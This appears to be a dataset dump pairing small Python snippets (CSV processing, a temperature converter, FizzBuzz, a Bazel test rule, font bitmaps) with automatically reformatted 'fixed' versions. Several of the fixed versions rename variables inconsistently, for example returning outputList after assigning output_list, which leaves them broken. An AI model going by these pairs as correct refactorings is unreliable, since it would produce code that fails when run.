content
stringlengths
7
1.05M
fixed_cases
stringlengths
1
1.28M
with open('pessoa.csv') as arquivo: with open('pessoas.txt', 'w') as saida: for registro in arquivo: registro = registro.strip().split(',') print(f'Nome:{registro[0]}, Idade: {registro[1]} anos', file=saida)
with open('pessoa.csv') as arquivo: with open('pessoas.txt', 'w') as saida: for registro in arquivo: registro = registro.strip().split(',') print(f'Nome:{registro[0]}, Idade: {registro[1]} anos', file=saida)
class PrettyException(Exception): "Semantic errors in prettyqr." pass class ImageNotSquareException(PrettyException): pass class BaseImageSmallerThanQRCodeException(PrettyException): pass
class Prettyexception(Exception): """Semantic errors in prettyqr.""" pass class Imagenotsquareexception(PrettyException): pass class Baseimagesmallerthanqrcodeexception(PrettyException): pass
# # Author: # Date: # Description: # # Constants used to refer to the parts of the quiz question CATEGORY = 0 VALUE = 1 QUESTION = 2 ANSWER = 3 # # Read lines of text from a specified file and create a list of those lines # with each line added as a separate String item in the list # # Parameter # inputFile - A String with the name of a text file to convert to a Lit # # Return # A List containing each line from the text file def getListFromFile (inputFile): outputList = [] try: source = open(inputFile,"r") outputList = source.readlines() source.close() except FileNotFoundError: print("Unable to open input file: " + inputFile) return outputList # # Splits a String containing all question information, then # returns the specified part of the question # # # Parameters # question - String containing comma separated quiz question details # whichInfo - constant representing which part of the question to return # should be one of CATEGORY, VALUE, QUESTION, ANSWER # Return # String containing the specified part of the question def getInfo(question, whichInfo): # paste your getInfo implementation here return "" ##################################### ## Main ##################################### # Read the CSV file and get a list of contents # Create a new list in which to store the categories # Iterate through the file contents to get each category # If the category isn't in the category list already, add the category to the category list # HINT: to check if something IS in a list, you use -- if elem in myList: # to check if something IS NOT in a list you use -- if elem not in myList: # Use a for loop to print all the categories
category = 0 value = 1 question = 2 answer = 3 def get_list_from_file(inputFile): output_list = [] try: source = open(inputFile, 'r') output_list = source.readlines() source.close() except FileNotFoundError: print('Unable to open input file: ' + inputFile) return outputList def get_info(question, whichInfo): return ''
def C_to_F(temp): temp = temp*9/5+32 return temp def F_to_C(temp): temp = (temp-32)*5.0/9.0 return temp sel = input('\nCelsius and Fahrenheit Convert\n\n'+ '(A) Fatrenheit to Celsius\n'+ '(B) Celsius to Fatrenheit\n'+ '(C) Exit\n\n'+ 'Please input...> ') while sel != 'C': temp = int(input('Please input temperature...> ')) if sel == 'A': temp = F_to_C(temp) else: temp = C_to_F(temp) print('temperature is converted into',temp) sel = input('\nCelsius and Fahrenheit Convert\n\n'+ '(A) Fatrenheit to Celsius\n'+ '(B) Celsius to Fatrenheit\n'+ '(C) Exit\n\n'+ 'Please input...> ')
def c_to_f(temp): temp = temp * 9 / 5 + 32 return temp def f_to_c(temp): temp = (temp - 32) * 5.0 / 9.0 return temp sel = input('\nCelsius and Fahrenheit Convert\n\n' + '(A) Fatrenheit to Celsius\n' + '(B) Celsius to Fatrenheit\n' + '(C) Exit\n\n' + 'Please input...> ') while sel != 'C': temp = int(input('Please input temperature...> ')) if sel == 'A': temp = f_to_c(temp) else: temp = c_to_f(temp) print('temperature is converted into', temp) sel = input('\nCelsius and Fahrenheit Convert\n\n' + '(A) Fatrenheit to Celsius\n' + '(B) Celsius to Fatrenheit\n' + '(C) Exit\n\n' + 'Please input...> ')
# first line: 1 @memory.cache def vsigmomEdw_NR(Erecoil_keV, aH): return [sigmomEdw(x,band='NR',label='GGA3',F=0.000001,V=4.0,aH=aH,alpha=(1/18.0)) for x in Erecoil_keV]
@memory.cache def vsigmom_edw_nr(Erecoil_keV, aH): return [sigmom_edw(x, band='NR', label='GGA3', F=1e-06, V=4.0, aH=aH, alpha=1 / 18.0) for x in Erecoil_keV]
# Copyright 2020 The XLS Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Generates a fuzz issue regression suite.""" def _to_suffix(path): basename = path.split("/")[-1] if not basename.endswith(".x"): fail() basename = basename[:-len(".x")] if basename.startswith("crasher_"): basename = basename[len("crasher_"):] return basename def generate_crasher_regression_tests(name, srcs, prefix, failing = None, tags = None): """Generates targets for fuzz-found issues. Also generates a manual suite called ":regression_tests" that will include known-failing targets. Args: name: Name to use for the resulting test_suite. srcs: Testdata files (DSLX) to run regressions for. prefix: Prefix directory path for the testdata files. failing: Optional list of failing testdata paths (must be a string match with a member in srcs). tags: Optional mapping of testdata paths to additional tags (must be a string match with a member in srcs). """ names = [] tags = tags or {} for f in srcs: if not f.endswith(".x"): fail() test_name = "run_crasher_test_{}".format(_to_suffix(f)) names.append(test_name) fullpath = prefix + "/" + f native.sh_test( name = test_name, srcs = ["//xls/dslx/fuzzer:run_crasher_sh"], args = [fullpath], data = [ "//xls/dslx/fuzzer:run_crasher", f, ], tags = tags.get(f, []), ) native.test_suite( name = name, tests = names, tags = ["manual"], )
"""Generates a fuzz issue regression suite.""" def _to_suffix(path): basename = path.split('/')[-1] if not basename.endswith('.x'): fail() basename = basename[:-len('.x')] if basename.startswith('crasher_'): basename = basename[len('crasher_'):] return basename def generate_crasher_regression_tests(name, srcs, prefix, failing=None, tags=None): """Generates targets for fuzz-found issues. Also generates a manual suite called ":regression_tests" that will include known-failing targets. Args: name: Name to use for the resulting test_suite. srcs: Testdata files (DSLX) to run regressions for. prefix: Prefix directory path for the testdata files. failing: Optional list of failing testdata paths (must be a string match with a member in srcs). tags: Optional mapping of testdata paths to additional tags (must be a string match with a member in srcs). """ names = [] tags = tags or {} for f in srcs: if not f.endswith('.x'): fail() test_name = 'run_crasher_test_{}'.format(_to_suffix(f)) names.append(test_name) fullpath = prefix + '/' + f native.sh_test(name=test_name, srcs=['//xls/dslx/fuzzer:run_crasher_sh'], args=[fullpath], data=['//xls/dslx/fuzzer:run_crasher', f], tags=tags.get(f, [])) native.test_suite(name=name, tests=names, tags=['manual'])
for i in range(101): if i % 15 == 0: print("Fizzbuzz") elif i % 3 == 0: print("Fizz") elif i % 5 == 0: print("Buzz") else: print(i)
for i in range(101): if i % 15 == 0: print('Fizzbuzz') elif i % 3 == 0: print('Fizz') elif i % 5 == 0: print('Buzz') else: print(i)
RESOURCE = "https://graph.microsoft.com" # Add the resource you want the access token for TENANT = "Your tenant" # Enter tenant name, e.g. contoso.onmicrosoft.com AUTHORITY_HOST_URL = "https://login.microsoftonline.com" CLIENT_ID = "Your client id " # copy the Application ID of your app from your Azure portal CLIENT_SECRET = "Your client secret" # copy the value of key you generated when setting up the application # These settings are for the Microsoft Graph API Call API_VERSION = 'v1.0'
resource = 'https://graph.microsoft.com' tenant = 'Your tenant' authority_host_url = 'https://login.microsoftonline.com' client_id = 'Your client id ' client_secret = 'Your client secret' api_version = 'v1.0'
# Hiztegi bat deklaratu ta aldagaiak jarri, erabiltzaileak sartu ditzan hizt = {} EI = input("Sartu zure erabiltzaile izena:\n") hizt['Erabiltzaile_izena'] = EI PH = input("Sartu zure pasahitza:\n") hizt['Pasahitza'] = PH # Aldagai hoiek gorde ta bukle batekin bere datuak sartzea, ondo sartu arte (input = hiztegian sartutako datua) print("\n\nERREGISTRO LEIHOA\n") input("Sartu zure erabiltzaile izena:\n") if input == EI: print("Ondo, orain sartu pasahitza.") else: print("Gaizki.")
hizt = {} ei = input('Sartu zure erabiltzaile izena:\n') hizt['Erabiltzaile_izena'] = EI ph = input('Sartu zure pasahitza:\n') hizt['Pasahitza'] = PH print('\n\nERREGISTRO LEIHOA\n') input('Sartu zure erabiltzaile izena:\n') if input == EI: print('Ondo, orain sartu pasahitza.') else: print('Gaizki.')
#!/usr/bin/env python3 x, y = map(int, input().strip().split()) while x != 0 and y != 0: att = list(map(int, input().strip().split())) att.sort() dff = list(map(int, input().strip().split())) dff.sort() if(att[0] < dff[1]): print("Y") else: print("N") x, y = map(int, input().strip().split())
(x, y) = map(int, input().strip().split()) while x != 0 and y != 0: att = list(map(int, input().strip().split())) att.sort() dff = list(map(int, input().strip().split())) dff.sort() if att[0] < dff[1]: print('Y') else: print('N') (x, y) = map(int, input().strip().split())
FreeSansBold9pt7bBitmaps = [ 0xFF, 0xFF, 0xFE, 0x48, 0x7E, 0xEF, 0xDF, 0xBF, 0x74, 0x40, 0x19, 0x86, 0x67, 0xFD, 0xFF, 0x33, 0x0C, 0xC3, 0x33, 0xFE, 0xFF, 0x99, 0x86, 0x61, 0x90, 0x10, 0x1F, 0x1F, 0xDE, 0xFF, 0x3F, 0x83, 0xC0, 0xFC, 0x1F, 0x09, 0xFC, 0xFE, 0xF7, 0xF1, 0xE0, 0x40, 0x38, 0x10, 0x7C, 0x30, 0xC6, 0x20, 0xC6, 0x40, 0xC6, 0x40, 0x7C, 0x80, 0x39, 0x9C, 0x01, 0x3E, 0x03, 0x63, 0x02, 0x63, 0x04, 0x63, 0x0C, 0x3E, 0x08, 0x1C, 0x0E, 0x01, 0xF8, 0x3B, 0x83, 0xB8, 0x3F, 0x01, 0xE0, 0x3E, 0x67, 0x76, 0xE3, 0xEE, 0x1C, 0xF3, 0xC7, 0xFE, 0x3F, 0x70, 0xFF, 0xF4, 0x18, 0x63, 0x1C, 0x73, 0x8E, 0x38, 0xE3, 0x8E, 0x18, 0x70, 0xC3, 0x06, 0x08, 0x61, 0x83, 0x0E, 0x38, 0x71, 0xC7, 0x1C, 0x71, 0xC6, 0x38, 0xE3, 0x18, 0x40, 0x21, 0x3E, 0x45, 0x28, 0x38, 0x70, 0xE7, 0xFF, 0xE7, 0x0E, 0x1C, 0xFC, 0x9C, 0xFF, 0xC0, 0xFC, 0x08, 0xC4, 0x23, 0x10, 0x84, 0x62, 0x11, 0x88, 0x00, 0x3E, 0x3F, 0x9D, 0xDC, 0x7E, 0x3F, 0x1F, 0x8F, 0xC7, 0xE3, 0xF1, 0xDD, 0xCF, 0xE3, 0xE0, 0x08, 0xFF, 0xF3, 0x9C, 0xE7, 0x39, 0xCE, 0x73, 0x80, 0x3E, 0x3F, 0xB8, 0xFC, 0x70, 0x38, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0F, 0xF7, 0xF8, 0x3C, 0x7F, 0xE7, 0xE7, 0x07, 0x0C, 0x0E, 0x07, 0x07, 0xE7, 0xE7, 0x7E, 0x3C, 0x0E, 0x1E, 0x1E, 0x2E, 0x2E, 0x4E, 0x4E, 0x8E, 0xFF, 0xFF, 0x0E, 0x0E, 0x0E, 0x7F, 0x3F, 0x90, 0x18, 0x0D, 0xE7, 0xFB, 0x9E, 0x07, 0x03, 0x81, 0xF1, 0xFF, 0xE7, 0xC0, 0x3E, 0x3F, 0x9C, 0xFC, 0x0E, 0xE7, 0xFB, 0xDF, 0xC7, 0xE3, 0xF1, 0xDD, 0xEF, 0xE3, 0xE0, 0xFF, 0xFF, 0xC0, 0xE0, 0xE0, 0x60, 0x70, 0x30, 0x38, 0x1C, 0x0C, 0x0E, 0x07, 0x03, 0x80, 0x3F, 0x1F, 0xEE, 0x3F, 0x87, 0xE3, 0xCF, 0xC7, 0xFB, 0xCF, 0xE1, 0xF8, 0x7F, 0x3D, 0xFE, 0x3F, 0x00, 0x3E, 0x3F, 0xBD, 0xDC, 0x7E, 0x3F, 0x1F, 0xDE, 0xFF, 0x3B, 0x81, 0xF9, 0xCF, 0xE3, 0xC0, 0xFC, 0x00, 0x07, 0xE0, 0xFC, 0x00, 0x07, 0xE5, 0xE0, 0x00, 0x83, 0xC7, 0xDF, 0x0C, 0x07, 0x80, 0xF8, 0x1F, 0x01, 0x80, 0xFF, 0xFF, 0xC0, 0x00, 0x0F, 0xFF, 0xFC, 0x00, 0x70, 0x3F, 0x03, 0xE0, 0x38, 0x7D, 0xF1, 0xE0, 0x80, 0x00, 0x3E, 0x3F, 0xB8, 0xFC, 0x70, 0x38, 0x1C, 0x1C, 0x1C, 0x1C, 0x0E, 0x00, 0x03, 0x81, 0xC0, 0x03, 0xF0, 0x0F, 0xFC, 0x1E, 0x0E, 0x38, 0x02, 0x70, 0xE9, 0x63, 0x19, 0xC2, 0x19, 0xC6, 0x11, 0xC6, 0x33, 0xC6, 0x32, 0x63, 0xFE, 0x73, 0xDC, 0x3C, 0x00, 0x1F, 0xF8, 0x07, 0xF0, 0x07, 0x00, 0xF0, 0x0F, 0x80, 0xF8, 0x1D, 0x81, 0x9C, 0x19, 0xC3, 0x8C, 0x3F, 0xE7, 0xFE, 0x70, 0x66, 0x07, 0xE0, 0x70, 0xFF, 0x9F, 0xFB, 0x83, 0xF0, 0x7E, 0x0F, 0xFF, 0x3F, 0xF7, 0x06, 0xE0, 0xFC, 0x1F, 0x83, 0xFF, 0xEF, 0xF8, 0x1F, 0x83, 0xFE, 0x78, 0xE7, 0x07, 0xE0, 0x0E, 0x00, 0xE0, 0x0E, 0x00, 0xE0, 0x07, 0x07, 0x78, 0xF3, 0xFE, 0x1F, 0x80, 0xFF, 0x8F, 0xFC, 0xE0, 0xEE, 0x0E, 0xE0, 0x7E, 0x07, 0xE0, 0x7E, 0x07, 0xE0, 0x7E, 0x0E, 0xE0, 0xEF, 0xFC, 0xFF, 0x80, 0xFF, 0xFF, 0xF8, 0x1C, 0x0E, 0x07, 0xFB, 0xFD, 0xC0, 0xE0, 0x70, 0x38, 0x1F, 0xFF, 0xF8, 0xFF, 0xFF, 0xF8, 0x1C, 0x0E, 0x07, 0xFB, 0xFD, 0xC0, 0xE0, 0x70, 0x38, 0x1C, 0x0E, 0x00, 0x0F, 0x87, 0xF9, 0xE3, 0xB8, 0x3E, 0x01, 0xC0, 0x38, 0xFF, 0x1F, 0xE0, 0x6E, 0x0D, 0xE3, 0x9F, 0xD0, 0xF2, 0xE0, 0xFC, 0x1F, 0x83, 0xF0, 0x7E, 0x0F, 0xFF, 0xFF, 0xFF, 0x07, 0xE0, 0xFC, 0x1F, 0x83, 0xF0, 0x7E, 0x0E, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0xE7, 0xE7, 0xE7, 0x7E, 0x3C, 0xE0, 0xEE, 0x1C, 0xE3, 0x8E, 0x70, 0xEE, 0x0F, 0xC0, 0xFE, 0x0F, 0x70, 0xE7, 0x0E, 0x38, 0xE1, 0xCE, 0x0E, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xFF, 0xFF, 0xF8, 0x7F, 0xE1, 0xFF, 0x87, 0xFE, 0x1F, 0xEC, 0x7F, 0xB3, 0x7E, 0xCD, 0xFB, 0x37, 0xEC, 0xDF, 0x9E, 0x7E, 0x79, 0xF9, 0xE7, 0xE7, 0x9C, 0xE0, 0xFE, 0x1F, 0xC3, 0xFC, 0x7F, 0xCF, 0xD9, 0xFB, 0xBF, 0x37, 0xE7, 0xFC, 0x7F, 0x87, 0xF0, 0xFE, 0x0E, 0x0F, 0x81, 0xFF, 0x1E, 0x3C, 0xE0, 0xEE, 0x03, 0xF0, 0x1F, 0x80, 0xFC, 0x07, 0xE0, 0x3B, 0x83, 0x9E, 0x3C, 0x7F, 0xC0, 0xF8, 0x00, 0xFF, 0x9F, 0xFB, 0x87, 0xF0, 0x7E, 0x0F, 0xC3, 0xFF, 0xF7, 0xFC, 0xE0, 0x1C, 0x03, 0x80, 0x70, 0x0E, 0x00, 0x0F, 0x81, 0xFF, 0x1E, 0x3C, 0xE0, 0xEE, 0x03, 0xF0, 0x1F, 0x80, 0xFC, 0x07, 0xE1, 0xBB, 0x8F, 0x9E, 0x3C, 0x7F, 0xE0, 0xFB, 0x80, 0x08, 0xFF, 0x8F, 0xFC, 0xE0, 0xEE, 0x0E, 0xE0, 0xEE, 0x0E, 0xFF, 0xCF, 0xFC, 0xE0, 0xEE, 0x0E, 0xE0, 0xEE, 0x0E, 0xE0, 0xF0, 0x3F, 0x0F, 0xFB, 0xC7, 0xF0, 0x7E, 0x01, 0xFC, 0x1F, 0xF0, 0x3F, 0x00, 0xFC, 0x1D, 0xC7, 0xBF, 0xE1, 0xF8, 0xFF, 0xFF, 0xC7, 0x03, 0x81, 0xC0, 0xE0, 0x70, 0x38, 0x1C, 0x0E, 0x07, 0x03, 0x81, 0xC0, 0xE0, 0xFC, 0x1F, 0x83, 0xF0, 0x7E, 0x0F, 0xC1, 0xF8, 0x3F, 0x07, 0xE0, 0xFC, 0x1F, 0xC7, 0xBF, 0xE1, 0xF0, 0x60, 0x67, 0x0E, 0x70, 0xE3, 0x0C, 0x30, 0xC3, 0x9C, 0x19, 0x81, 0x98, 0x1F, 0x80, 0xF0, 0x0F, 0x00, 0xF0, 0x06, 0x00, 0x61, 0xC3, 0xB8, 0xE1, 0x9C, 0x70, 0xCE, 0x3C, 0xE3, 0x36, 0x71, 0x9B, 0x30, 0xED, 0x98, 0x36, 0x7C, 0x1B, 0x3C, 0x0F, 0x1E, 0x07, 0x8F, 0x01, 0xC3, 0x80, 0xE1, 0x80, 0x70, 0xE7, 0x8E, 0x39, 0xC1, 0xF8, 0x1F, 0x80, 0xF0, 0x07, 0x00, 0xF0, 0x1F, 0x81, 0x9C, 0x39, 0xC7, 0x0E, 0x70, 0xE0, 0xE0, 0xFC, 0x39, 0xC7, 0x18, 0xC3, 0xB8, 0x36, 0x07, 0xC0, 0x70, 0x0E, 0x01, 0xC0, 0x38, 0x07, 0x00, 0xE0, 0xFF, 0xFF, 0xC0, 0xE0, 0xE0, 0xF0, 0x70, 0x70, 0x70, 0x78, 0x38, 0x38, 0x1F, 0xFF, 0xF8, 0xFF, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEF, 0xF0, 0x86, 0x10, 0x86, 0x10, 0x84, 0x30, 0x84, 0x30, 0x80, 0xFF, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x7F, 0xF0, 0x18, 0x1C, 0x3C, 0x3E, 0x36, 0x66, 0x63, 0xC3, 0xFF, 0xC0, 0xCC, 0x3F, 0x1F, 0xEE, 0x38, 0x0E, 0x3F, 0x9E, 0xEE, 0x3B, 0x9E, 0xFF, 0x9E, 0xE0, 0xE0, 0x38, 0x0E, 0x03, 0xBC, 0xFF, 0xBC, 0xEE, 0x1F, 0x87, 0xE1, 0xF8, 0x7F, 0x3B, 0xFE, 0xEF, 0x00, 0x1F, 0x3F, 0xDC, 0x7C, 0x0E, 0x07, 0x03, 0x80, 0xE3, 0x7F, 0x8F, 0x00, 0x03, 0x81, 0xC0, 0xE7, 0x77, 0xFB, 0xBF, 0x8F, 0xC7, 0xE3, 0xF1, 0xFD, 0xEF, 0xF3, 0xB8, 0x3E, 0x3F, 0x9C, 0xDC, 0x3F, 0xFF, 0xFF, 0x81, 0xC3, 0x7F, 0x8F, 0x00, 0x3B, 0xDD, 0xFF, 0xB9, 0xCE, 0x73, 0x9C, 0xE7, 0x00, 0x3B, 0xBF, 0xDD, 0xFC, 0x7E, 0x3F, 0x1F, 0x8F, 0xEF, 0x7F, 0x9D, 0xC0, 0xFC, 0x77, 0xF1, 0xF0, 0xE0, 0x70, 0x38, 0x1D, 0xEF, 0xFF, 0x9F, 0x8F, 0xC7, 0xE3, 0xF1, 0xF8, 0xFC, 0x7E, 0x38, 0xFC, 0x7F, 0xFF, 0xFF, 0xFE, 0x77, 0x07, 0x77, 0x77, 0x77, 0x77, 0x77, 0x7F, 0xE0, 0xE0, 0x70, 0x38, 0x1C, 0x7E, 0x77, 0x73, 0xF1, 0xF8, 0xFE, 0x77, 0x39, 0xDC, 0x6E, 0x38, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xEF, 0x7B, 0xFF, 0xFE, 0x39, 0xF8, 0xE7, 0xE3, 0x9F, 0x8E, 0x7E, 0x39, 0xF8, 0xE7, 0xE3, 0x9F, 0x8E, 0x70, 0xEF, 0x7F, 0xF8, 0xFC, 0x7E, 0x3F, 0x1F, 0x8F, 0xC7, 0xE3, 0xF1, 0xC0, 0x1E, 0x1F, 0xE7, 0x3B, 0x87, 0xE1, 0xF8, 0x7E, 0x1D, 0xCE, 0x7F, 0x87, 0x80, 0xEF, 0x3F, 0xEF, 0x3B, 0x87, 0xE1, 0xF8, 0x7E, 0x1F, 0xCE, 0xFF, 0xBB, 0xCE, 0x03, 0x80, 0xE0, 0x38, 0x00, 0x3B, 0xBF, 0xFD, 0xFC, 0x7E, 0x3F, 0x1F, 0x8F, 0xEF, 0x7F, 0x9D, 0xC0, 0xE0, 0x70, 0x38, 0x1C, 0xEF, 0xFF, 0x38, 0xE3, 0x8E, 0x38, 0xE3, 0x80, 0x3E, 0x3F, 0xB8, 0xFC, 0x0F, 0xC3, 0xFC, 0x3F, 0xC7, 0xFF, 0x1F, 0x00, 0x73, 0xBF, 0xF7, 0x39, 0xCE, 0x73, 0x9E, 0x70, 0xE3, 0xF1, 0xF8, 0xFC, 0x7E, 0x3F, 0x1F, 0x8F, 0xC7, 0xFF, 0xBD, 0xC0, 0xE1, 0x98, 0x67, 0x39, 0xCC, 0x33, 0x0D, 0xC3, 0xE0, 0x78, 0x1E, 0x07, 0x00, 0xE3, 0x1D, 0x9E, 0x66, 0x79, 0x99, 0xE6, 0x77, 0xB8, 0xD2, 0xC3, 0xCF, 0x0F, 0x3C, 0x3C, 0xF0, 0x73, 0x80, 0x73, 0x9C, 0xE3, 0xF0, 0x78, 0x1E, 0x07, 0x81, 0xE0, 0xFC, 0x73, 0x9C, 0xE0, 0xE1, 0xD8, 0x67, 0x39, 0xCE, 0x33, 0x0E, 0xC3, 0xE0, 0x78, 0x1E, 0x03, 0x00, 0xC0, 0x70, 0x38, 0x0E, 0x00, 0xFE, 0xFE, 0x0E, 0x1C, 0x38, 0x38, 0x70, 0xE0, 0xFF, 0xFF, 0x37, 0x66, 0x66, 0x6E, 0xE6, 0x66, 0x66, 0x67, 0x30, 0xFF, 0xFF, 0x80, 0xCE, 0x66, 0x66, 0x67, 0x76, 0x66, 0x66, 0x6E, 0xC0, 0x71, 0x8E ] FreeSansBold9pt7bGlyphs = [ [ 0, 0, 0, 5, 0, 1 ], # 0x20 ' ' [ 0, 3, 13, 6, 2, -12 ], # 0x21 '!' [ 5, 7, 5, 9, 1, -12 ], # 0x22 '"' [ 10, 10, 12, 10, 0, -11 ], # 0x23 '#' [ 25, 9, 15, 10, 1, -13 ], # 0x24 '$' [ 42, 16, 13, 16, 0, -12 ], # 0x25 '%' [ 68, 12, 13, 13, 1, -12 ], # 0x26 '&' [ 88, 3, 5, 5, 1, -12 ], # 0x27 ''' [ 90, 6, 17, 6, 1, -12 ], # 0x28 '(' [ 103, 6, 17, 6, 0, -12 ], # 0x29 ')' [ 116, 5, 6, 7, 1, -12 ], # 0x2A '#' [ 120, 7, 8, 11, 2, -7 ], # 0x2B '+' [ 127, 3, 5, 4, 1, -1 ], # 0x2C ',' [ 129, 5, 2, 6, 0, -5 ], # 0x2D '-' [ 131, 3, 2, 4, 1, -1 ], # 0x2E '.' [ 132, 5, 13, 5, 0, -12 ], # 0x2F '/' [ 141, 9, 13, 10, 1, -12 ], # 0x30 '0' [ 156, 5, 13, 10, 2, -12 ], # 0x31 '1' [ 165, 9, 13, 10, 1, -12 ], # 0x32 '2' [ 180, 8, 13, 10, 1, -12 ], # 0x33 '3' [ 193, 8, 13, 10, 2, -12 ], # 0x34 '4' [ 206, 9, 13, 10, 1, -12 ], # 0x35 '5' [ 221, 9, 13, 10, 1, -12 ], # 0x36 '6' [ 236, 9, 13, 10, 0, -12 ], # 0x37 '7' [ 251, 10, 13, 10, 0, -12 ], # 0x38 '8' [ 268, 9, 13, 10, 1, -12 ], # 0x39 '9' [ 283, 3, 9, 4, 1, -8 ], # 0x3A ':' [ 287, 3, 12, 4, 1, -8 ], # 0x3B '' [ 292, 9, 9, 11, 1, -8 ], # 0x3C '<' [ 303, 9, 6, 11, 1, -6 ], # 0x3D '=' [ 310, 9, 9, 11, 1, -8 ], # 0x3E '>' [ 321, 9, 13, 11, 1, -12 ], # 0x3F '?' [ 336, 16, 15, 18, 0, -12 ], # 0x40 '@' [ 366, 12, 13, 13, 0, -12 ], # 0x41 'A' [ 386, 11, 13, 13, 1, -12 ], # 0x42 'B' [ 404, 12, 13, 13, 1, -12 ], # 0x43 'C' [ 424, 12, 13, 13, 1, -12 ], # 0x44 'D' [ 444, 9, 13, 12, 1, -12 ], # 0x45 'E' [ 459, 9, 13, 11, 1, -12 ], # 0x46 'F' [ 474, 11, 13, 14, 1, -12 ], # 0x47 'G' [ 492, 11, 13, 13, 1, -12 ], # 0x48 'H' [ 510, 3, 13, 6, 1, -12 ], # 0x49 'I' [ 515, 8, 13, 10, 1, -12 ], # 0x4A 'J' [ 528, 12, 13, 13, 1, -12 ], # 0x4B 'K' [ 548, 8, 13, 11, 1, -12 ], # 0x4C 'L' [ 561, 14, 13, 16, 1, -12 ], # 0x4D 'M' [ 584, 11, 13, 14, 1, -12 ], # 0x4E 'N' [ 602, 13, 13, 14, 1, -12 ], # 0x4F 'O' [ 624, 11, 13, 12, 1, -12 ], # 0x50 'P' [ 642, 13, 14, 14, 1, -12 ], # 0x51 'Q' [ 665, 12, 13, 13, 1, -12 ], # 0x52 'R' [ 685, 11, 13, 12, 1, -12 ], # 0x53 'S' [ 703, 9, 13, 12, 2, -12 ], # 0x54 'T' [ 718, 11, 13, 13, 1, -12 ], # 0x55 'U' [ 736, 12, 13, 12, 0, -12 ], # 0x56 'V' [ 756, 17, 13, 17, 0, -12 ], # 0x57 'W' [ 784, 12, 13, 12, 0, -12 ], # 0x58 'X' [ 804, 11, 13, 12, 1, -12 ], # 0x59 'Y' [ 822, 9, 13, 11, 1, -12 ], # 0x5A 'Z' [ 837, 4, 17, 6, 1, -12 ], # 0x5B '[' [ 846, 5, 13, 5, 0, -12 ], # 0x5C '\' [ 855, 4, 17, 6, 0, -12 ], # 0x5D ']' [ 864, 8, 8, 11, 1, -12 ], # 0x5E '^' [ 872, 10, 1, 10, 0, 4 ], # 0x5F '_' [ 874, 3, 2, 5, 0, -12 ], # 0x60 '`' [ 875, 10, 10, 10, 1, -9 ], # 0x61 'a' [ 888, 10, 13, 11, 1, -12 ], # 0x62 'b' [ 905, 9, 10, 10, 1, -9 ], # 0x63 'c' [ 917, 9, 13, 11, 1, -12 ], # 0x64 'd' [ 932, 9, 10, 10, 1, -9 ], # 0x65 'e' [ 944, 5, 13, 6, 1, -12 ], # 0x66 'f' [ 953, 9, 14, 11, 1, -9 ], # 0x67 'g' [ 969, 9, 13, 11, 1, -12 ], # 0x68 'h' [ 984, 3, 13, 5, 1, -12 ], # 0x69 'i' [ 989, 4, 17, 5, 0, -12 ], # 0x6A 'j' [ 998, 9, 13, 10, 1, -12 ], # 0x6B 'k' [ 1013, 3, 13, 5, 1, -12 ], # 0x6C 'l' [ 1018, 14, 10, 16, 1, -9 ], # 0x6D 'm' [ 1036, 9, 10, 11, 1, -9 ], # 0x6E 'n' [ 1048, 10, 10, 11, 1, -9 ], # 0x6F 'o' [ 1061, 10, 14, 11, 1, -9 ], # 0x70 'p' [ 1079, 9, 14, 11, 1, -9 ], # 0x71 'q' [ 1095, 6, 10, 7, 1, -9 ], # 0x72 'r' [ 1103, 9, 10, 10, 1, -9 ], # 0x73 's' [ 1115, 5, 12, 6, 1, -11 ], # 0x74 't' [ 1123, 9, 10, 11, 1, -9 ], # 0x75 'u' [ 1135, 10, 10, 10, 0, -9 ], # 0x76 'v' [ 1148, 14, 10, 14, 0, -9 ], # 0x77 'w' [ 1166, 10, 10, 10, 0, -9 ], # 0x78 'x' [ 1179, 10, 14, 10, 0, -9 ], # 0x79 'y' [ 1197, 8, 10, 9, 1, -9 ], # 0x7A 'z' [ 1207, 4, 17, 7, 1, -12 ], # 0x7B '[' [ 1216, 1, 17, 5, 2, -12 ], # 0x7C '|' [ 1219, 4, 17, 7, 2, -12 ], # 0x7D ']' [ 1228, 8, 2, 9, 0, -4 ] ] # 0x7E '~' FreeSansBold9pt7b = [ FreeSansBold9pt7bBitmaps, FreeSansBold9pt7bGlyphs, 0x20, 0x7E, 22 ] # Approx. 1902 bytes
free_sans_bold9pt7b_bitmaps = [255, 255, 254, 72, 126, 239, 223, 191, 116, 64, 25, 134, 103, 253, 255, 51, 12, 195, 51, 254, 255, 153, 134, 97, 144, 16, 31, 31, 222, 255, 63, 131, 192, 252, 31, 9, 252, 254, 247, 241, 224, 64, 56, 16, 124, 48, 198, 32, 198, 64, 198, 64, 124, 128, 57, 156, 1, 62, 3, 99, 2, 99, 4, 99, 12, 62, 8, 28, 14, 1, 248, 59, 131, 184, 63, 1, 224, 62, 103, 118, 227, 238, 28, 243, 199, 254, 63, 112, 255, 244, 24, 99, 28, 115, 142, 56, 227, 142, 24, 112, 195, 6, 8, 97, 131, 14, 56, 113, 199, 28, 113, 198, 56, 227, 24, 64, 33, 62, 69, 40, 56, 112, 231, 255, 231, 14, 28, 252, 156, 255, 192, 252, 8, 196, 35, 16, 132, 98, 17, 136, 0, 62, 63, 157, 220, 126, 63, 31, 143, 199, 227, 241, 221, 207, 227, 224, 8, 255, 243, 156, 231, 57, 206, 115, 128, 62, 63, 184, 252, 112, 56, 28, 28, 28, 28, 28, 28, 15, 247, 248, 60, 127, 231, 231, 7, 12, 14, 7, 7, 231, 231, 126, 60, 14, 30, 30, 46, 46, 78, 78, 142, 255, 255, 14, 14, 14, 127, 63, 144, 24, 13, 231, 251, 158, 7, 3, 129, 241, 255, 231, 192, 62, 63, 156, 252, 14, 231, 251, 223, 199, 227, 241, 221, 239, 227, 224, 255, 255, 192, 224, 